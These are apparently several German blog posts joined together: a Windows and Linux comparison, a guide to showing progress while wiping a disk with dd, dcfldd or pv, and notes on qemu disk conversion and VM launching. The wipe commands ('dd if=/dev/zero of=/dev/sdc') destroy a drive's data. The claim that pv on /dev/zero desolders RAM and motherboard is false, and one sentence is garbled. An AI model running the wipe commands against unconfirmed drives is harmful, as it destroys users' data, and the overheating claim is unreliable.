Das obere Bild von Windows und das untere Bild von Linux.


3.11 KontextmenĂĽ

Beide System kennen das Kontextmenü, rechte Maus auf das Objekt mit auf das Objekt bezogenen Befehlen, zur Erhöhung der Produktivität. Auf der Tastatur gibt es neben der rechten STRG-Taste, die Steuerungs-Taste, auch eine Kontextmenü-Taste die beide Systeme erkennen.
MenĂĽ-Taste

Das obere Bild von Windows und das untere Bild von Linux.


3.12 Tastaturbefehle

Windows beherrscht nur wenige Tastaturbefehle, kann aber mit Fremdprogrammen aufgewertete werden. Linux kann mit sehr vielen Tastaturbefehlen umgehen und sehr schnelle sowie sehr umfangreiche Tätigkeiten ausführen.
Bekannte Tastenkombinationen in beiden Systemen:
• STRG + c, Kopieren
• STRG + x, Ausschneiden
• STRG + v, Einfügen
• ALT + F4, Fenster schließen
• Druck, Bildschirmfoto des gesamten Desktop
• ALT + Druck, Bildschirmfoto des aktiven Fensters
• Kontextmenü-Taste, aufrufen des Kontextmenüs zum ausgewähltem Objekt
• und weitere.


3.13 Systemsteuerung / Einstellungen

Auch die Zentrale für die Computersteuerung und Computereinstellungen ist in beiden System sehr ähnlich.

Das obere Bild von Windows und das untere Bild von Linux.


4 Software


4.1 Editor

Beide Systeme liefern einen Texteditor mit. Unter Linux beherrschen Editoren aber eine wesentliche größere Bandbreite von Editier- und Syntax-Möglichkeiten.

Das obere Bild von Windows und das untere Bild von Linux.


4.2 Standardprogramme der Betriebssysteme

Zu den standardmäßigen Programmen in beiden Systemen gehört neben den schon erwähnten Editor und den Kommandozeileninterpreter auch der sogenannte „Taschenrechner“.

Das obere Bild von Windows und das untere Bild von Linux.


4.3 Bekannte Anwendungsprogramme

Folgende Programme die unter Windows eine weite Verbreitung besitzen, sind bei Linux oft vorinstalliert:
• Firefox, der Webbrowser
• Thunderbird, der E-Mail-Client,
• LibreOffice, die Office-Suite,
• VLC-Player, der Mediaplayer und
• Gimp, das Foto- und Bildbearbeitungsprogramm.
Weitere Programme die unter Windows genutzt werden und unter Linux nativ arbeiten, sind:
• 7Zip, das universelle Komprimierungsprogramm
• Bleachbit, das Bereinigungsprogramm
• Filezilla, das FTP-Programm und
• Inkscape, das grafische Vektorenprogramm.
Weitere ähnliche Programme sind:
• verschiedene kleine Spiele wie Solitär oder Mahjongg
• PDF-Betrachter,
• Bild-Betrachter,
• CD- und DVD-Brennprogramm,
• Scanner-Programm,
• Messenger und
• Torrent-Programm und weitere 70.000 Programme.

4.4 Virenscanner

Unter Linux kaBekannte Anwendungsprogrammenn nachträglich ein Virenscanner, „ClamAV“, mit der grafischen Schnittstelle „ClamTK“ installiert werden, um Windows-Anwender zu schützen, zum Beispiel bei Rettungsaktionen und E-Mail-Anhängen.


5 Nachtrag


5.1 Bilder

Die Bildschirmfotos wurden alle von mir selbst erstellt und können aus dem Dokument entnommen werden. Die Vektorenzeichnungen wurden von mir selbst erstellt, außer dem Tux.
Der Tux ist von hier https://commons.wikimedia.org/wiki/File:Tux.svg.

Fortschrittsanzeige bei Festplatte löschen oder kopieren oder beschreiben durch dd oder dcfldd oder pv


Inhaltsverzeichnis

1. Ăśberblick
2. LaufwerksĂĽbersicht
3. Der Befehl „dd“
4. Erste Alternative „dcfldd“
5. Zweite Alternative „pv“
6. Allgemeine Hinweise


1. Ăśberblick

Aus Sicherheitsgründen, erst einmal einen Überblick über den Rechner verschaffen, könnte ja auch eine externe Konsole sein oder ein virtuelles System.

inxi -F

Jetzt prüfen ob die angezeigten Laufwerke auch das zu bearbeitende enthält, beispielsweise:

ID-3: USB /dev/sdc model: myUSB-Stick size: 7.8GB

2. LaufwerksĂĽbersicht

Alternativ kann auch mit nur zwei Zeichen „df“ die LaufwerksĂĽbersicht geholt werden.


3. Der Befehl „dd“

dd

ist in den

coreutils

enthalten.
Die dd-Progressionsanzeige ist die komfortabelste mit Anzeige:

  1. der einzelnen abgearbeiteten Bytes
  2. der Anzeige in Megabyte und Mebibyte oder GB+GiB oder TB+TiB
  3. den detaillierten Vorgang
  4. der Gesamtlaufzeit in Sekunden
  5. der Arbeitsgeschwindigkeit
sudo dd if=/dev/zero of=/dev/sdc status=progress
...
130458112 bytes (130MB, 124 MiB) copied, 28,0005 s, 4,7 MB/s
...
15257601+0 Datensätze ein
15257600+0 Datensätze aus
7811891200 bytes (7,8 GB, 7,3 GiB) copied, 2948,42 s, 2,6 MB/s

4. Erste Alternative „dcfldd“

Dieser Befehl muss unter Ubuntu 16.04 nachinstalliert werden. Installierte Größe von 128 kB.

sudo apt install dcfldd

Beispiel

sudo dcfldd if=/dev/zero of=/dev/sdc
...
1536 blocks (48Mb) written
...
238336 blocks (7448Mb) written.
238401+0 records in
238400+0 records out

Achtung, die Anzeige ist zur Zeit auf die Einheit von Mb begrenzt, also Gb und Tb werden auch in Mb angezeigt.


5. Zweite Alternative „pv“

Dieser Befehl muss unter Ubuntu 16.04 nachinstalliert werden. Installierte Größe von 170 kB.
pv, steht für Pipe Viewer, kann von einem anderem ausgeführtem Befehl den Datenfluss anzeigen. Also während des Löschens, Kopierens, beschreiben, entpacken, packen und weiteren Datenflüssen von Dateien und Datenträgern.

Beispiel der Schreibgeschwindigkeit des Arbeitsspeichers

pv /dev/zero > /dev/null
26GiB 0:00:15 [9,03GiB/s] [  < =>    ]

Ergebnis ist also ein DDR3-1333-Speicher im Single-Channel, so einfach.
Achtung, besonderer Hinweis für dieses Beispiel, bitte beenden Sie den Vorgang nach wenigen Minuten mit Strg+C, ansonsten dürften Sie eine neue Hauptplatine und neuen Arbeitsspeicher kaufen, da sich diese nach gewisser Zeit durch überhitzen selbst auslöten.


Allgemeine Hinweise

Je länger die oben genannte Befehle arbeiten oder der Vorgang dauert, um sehr mehr erhitzt sich das Medium und damit sinkt auch die Arbeitsgeschwindigkeit.

Beidseitiger Wechsel QEMU und VirtualBox


Inhaltsverzeichnis

Konvertierung
Folgende Formate können konvertiert werden
Ein typisches Beispiel fĂĽr eine Konvertierung
Der Befehl im Einzelnem
Links


Nun hatte ich schon qemu vorgestellt. Trotzdem kann es vorkommen das man die VirtualBox vorzieht.
Um die Festplatten-Abbilder nicht neu zu erstellen, kann man diese in beide Richtungen konvertieren.

Wobei qemu als, meiner Meinung nach, das bessere und native Programm mehr Formate verwalten kann, als VirtualBox. Denn qemu lädt auch die von der VirtualBox erstellten Abbilder. VirtualBox kann aber die Formate die ich mit qemu erstellt habe, nicht laden.


Konvertierung

Der Befehl

qemu-img convert [Optionen]

Die Hilfe zu diesem Befehl.

qemu-img convert -h

Diese Formate können konvertiert werden.

parallels, rbd, raw, quorum, null-aio, null-co, bochs, vhdx, blkverify, file, tftp, ftp, ftps, https, http, dmg, host_cdrom, blkdebug, iscsi, host_device, qcow, sheepdog, vpc, qed, nbd, qcow2, cloop, vdi, vvfat, vmdk

Also es bleiben kaum noch WĂĽnsche offen.


Ein typisches Beispiel fĂĽr eine Konvertierung

name@name-pc:~$ qemu-img convert -O vdi ubuntu16-04.raw ubuntu16-04.vdi

Der Befehl im Einzelnem

Konvertiere ein Festplattenabbild

qemu-img convert

Das groĂźe „O“ steht fĂĽr „output format“, also das zu Zielformat.

-O

Das Zielformat ist ein VirtualBox-Format und steht vermutlich fĂĽr „virtual device image“.

vdi

Diese Rohdatei ist die Quelldatei der Konvertierung.

ubuntu16-04.raw

Nun wird die Zieldatei angegebnen. Hier im selbigen Verzeichnis.

ubuntu16-04.vdi

Angenehmer Nebeneffekt, die Zieldatei schrumpft auf ihre wirklich benutzte Größe.
Die Xubuntu16-04.raw schrumpfte von 8GB auf die Xubunbtu16-04.vdi mit 4,4GB. Die Schrumpfung wurde jedes mal erzeugt.


Links

https://www.dinotools.de/2011/07/26/qemu-vhd-dateien-in-ein-anderes-format-konvertieren/
https://duckduckgo.com/?q=qemu-img+convert&t=canonical&ia=images

Nicht verfĂĽgbare Adresse
Die Adresse http://qemu-buch.de/ war beim erstellen diese Beitrages leider nicht erreichbar.
Ebenfalls gibt es unter https://de.wikibooks.org/wiki/ noch immer kein qemu-Buch, als wer sich verewigen möchte, hat hier noch eine Möglichkeit.

Qemu

Aus SicherheitsgrĂĽnden und um einen Komfort zu geniessen, besitze ich mehrere virtualisierte Betriebssysteme. FrĂĽher nahm ich dazu die „VirtualBox“ von „Oracel“. Doch da die Firmenpolitik von „Oracel“ mir nicht gefällt, habe ich mich seit längerem „qemu“ zu gewandt. Hier nun einige Erkenntnissen von mir.


Inhaltsverzeichnis

Grundsätzliches
Tastenkombinationen
qemu-monitor
Starten ĂĽber Icon
Links
Bilder


Grundsätzliches

  • qemu-Virtualisierungen laufen, wie auch die Betriebssysteme von „VirtualBox“, in einem eigenem Fenster.
  • Ăśber den qemu-Monitor, einer Spezialkonsole, sind zusätzliche Steuerungen während des laufenden Betriebes möglich.
  • Installationen und Laufwerke können ohne grafische Oberfläche erstellt werden.
  • Die Laufwerke können direkt mit einem Link, oder „Starter“, gebootet werden.
  • Es stehen aber auch einige GUIs zur VerfĂĽgung. Ich empfehle den „virt-manager“.
  • Tastenkombination lassen schnelles Arbeiten zu.

Tastenkombinationen

Virtualisierungsfenster
Strg + Alt + f Umschalten zwischen Fenster- auf Vollbildmodus
Strg + Alt + u Fenster nach Größenänderung wiederherstellen
Strg + Alt Maus aus dem Virtualisierungsfenster holen
qemu-monitor
Strg + Alt + 2 Wechsel vom Virtualisierungsfenster in den qemu-monitor
Strg + Alt + 1 Wechsel vom qemu-monitor in das Virtualisierungsfenster

qemu-monitor

Beispiele von Eingaben

sendkey ctrl-alt-f1 auf die erste Konsole im Virtualisierungsfenster schalten
sendkey ctrl-alt-f2 auf die zweite Konsole im Virtualisierungsfenster schalten
sendkey ctrl-alt-f7 zurĂĽck auf die GUI im Virtualisierungsfenster schalten
screendump bild.ppm Erstellt ein Bildschirmfoto vom Virtualisierungsfenster im Verzeichnis wo das virtuelle Laufwerk liegt.
system_reset Erste Hilfe, wenn ein System hängt.
system_powerdown Ernste Hilfe, wenn ein System hängt.
q Letzte Hilfe, wenn ein System hängt. Auch quit.

Starten ĂĽber Icon

Einfach ein Laufwerk, zum Beispiel auf den Schreibtisch, mit einer VerknĂĽpfung, bei Ubuntu heiĂźt das „Starter“, booten.


Den Starter könnte man so einrichten:
Beschreibung: Windows 10 starten
Befehl: qemu-system-x86_64 -enable-kvm -M q35 /home/mein-name/virtuelle-laufwerke/Windows10-64bit.vdi -cpu Opteron_G5 -smp 2 -m 2G -k de -vga qxl -display sdl,window_close=off
Arbeitsverzeichnis:/home/mein-name/virtuelle-laufwerke


Der Befehl im Einzelnem

qemu-system-x86_64

das Grundsystem der Virtualisierung, der Emulator

-enable-kvm

diese Option verbindet den Emulator mit dem Wirtssystem

-M q35

diese Option holt den modernen virtuellen Chipsatz „Q35“

/home/mein-name/virtuelle-laufwerke/Windows10-64bit.vdi

dieser Pfad holt beispielsweise ein von der VirtualBox geschaffenes Laufwerk in qemu

-cpu Opteron_G5

dies Option bestimmt die gewĂĽnschte CPU

-smp 2

Anzahl der CPU-Kerne, beachte das Wirtssystem

-m 2G

diese Option bestimmt 2 GB RAM fĂĽr die Virtualisierung, beachte das Wirtssystem

-k de

hiermit wird die deutsche Tastatur geladen

-vga qxl

QXL ist der Grafiktreiber

-display sdl,window_close=off
display sdl 

steht fĂĽr seperates grafisches Fenster und

,window_close=off

bedeutet, das Fenster kann nicht geschlossen werden, also gegen unbeabsichtigtes abschieĂźen der Virtualisierung

Links

Hier sind weiterfĂĽhrende Links zum Thema. Aber Vorsicht, manche Einstellungen sind nicht fĂĽr x86 oder x64 CPUs und im gĂĽnstigstem Falle einfach nur wirkungslos.
https://wiki.ubuntuusers.de/QEMU/
https://wiki.ubuntuusers.de/KVM/
https://wiki.archlinux.org/index.php/QEMU
https://wiki.archlinux.de/title/QEMU#QEMU-Monitor
https://en.wikibooks.org/wiki/QEMU/Monitor
http://download.qemu-project.org/qemu-doc.html


Bilder